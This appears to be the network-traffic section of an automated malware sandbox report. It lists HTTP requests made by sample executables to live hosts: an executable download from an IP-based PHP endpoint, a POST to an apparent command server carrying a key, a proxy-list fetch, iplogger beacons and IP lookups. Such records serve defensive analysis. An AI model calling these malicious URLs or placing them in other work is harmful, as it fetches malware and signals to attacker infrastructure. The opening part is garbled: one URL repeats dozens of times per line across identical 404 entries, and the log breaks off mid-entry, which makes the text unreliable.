                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          404
                                                                                                                                                                                                                                        • 186.2.171.3:80
                                                                                                                                                                                                                                          http://186.2.171.3/seemorebty/il.php?e=md7_7dfj
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          md7_7dfj.exe
                                                                                                                                                                                                                                          688 B
                                                                                                                                                                                                                                          590 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://186.2.171.3/seemorebty/il.php?e=md7_7dfj

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 45.136.151.102:80
                                                                                                                                                                                                                                          http://uyg5wye.2ihsfa.com/api/?sid=215349&key=88beead63c5ee126a39b166fb9a25cd9
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          841 B
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          8

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://uyg5wye.2ihsfa.com/api/fbtime

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          POST http://uyg5wye.2ihsfa.com/api/?sid=215349&key=88beead63c5ee126a39b166fb9a25cd9

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 88.99.66.31:443
                                                                                                                                                                                                                                          https://iplogger.org/ZdSiq
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          md7_7dfj.exe
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          7.1kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://iplogger.org/ZdSiq

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 34.117.59.81:80
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          842 B
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          7

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ipinfo.io/country

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ipinfo.io/ip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ipinfo.io/ip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 34.117.59.81:443
                                                                                                                                                                                                                                          https://ipinfo.io/country
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          854 B
                                                                                                                                                                                                                                          6.1kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://ipinfo.io/country

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 172.217.17.78:443
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          972 B
                                                                                                                                                                                                                                          9.0kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          13

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 104.26.13.31:443
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          YKliaHJeiJ_5l1avEzMVfFKQ.exe
                                                                                                                                                                                                                                          753 B
                                                                                                                                                                                                                                          4.4kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://api.ip.sb/geoip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 34.117.59.81:80
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          842 B
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          7

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ipinfo.io/country

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ipinfo.io/ip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://ipinfo.io/ip

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 34.117.59.81:443
                                                                                                                                                                                                                                          https://ipinfo.io/country
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          848 B
                                                                                                                                                                                                                                          5.6kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://ipinfo.io/country

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 88.99.66.31:443
                                                                                                                                                                                                                                          https://iplogger.org/18hh57
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          1.4kB
                                                                                                                                                                                                                                          6.4kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          12

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://iplogger.org/18hh57

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 37.0.10.214:80
                                                                                                                                                                                                                                          http://37.0.10.214/proxies.txt
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          477 B
                                                                                                                                                                                                                                          3.1kB
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          6

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/proxies.txt

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 37.0.10.237:80
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/statistics.php
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          489 B
                                                                                                                                                                                                                                          523 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          4

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.237/base/api/statistics.php

                                                                                                                                                                                                                                          HTTP Response

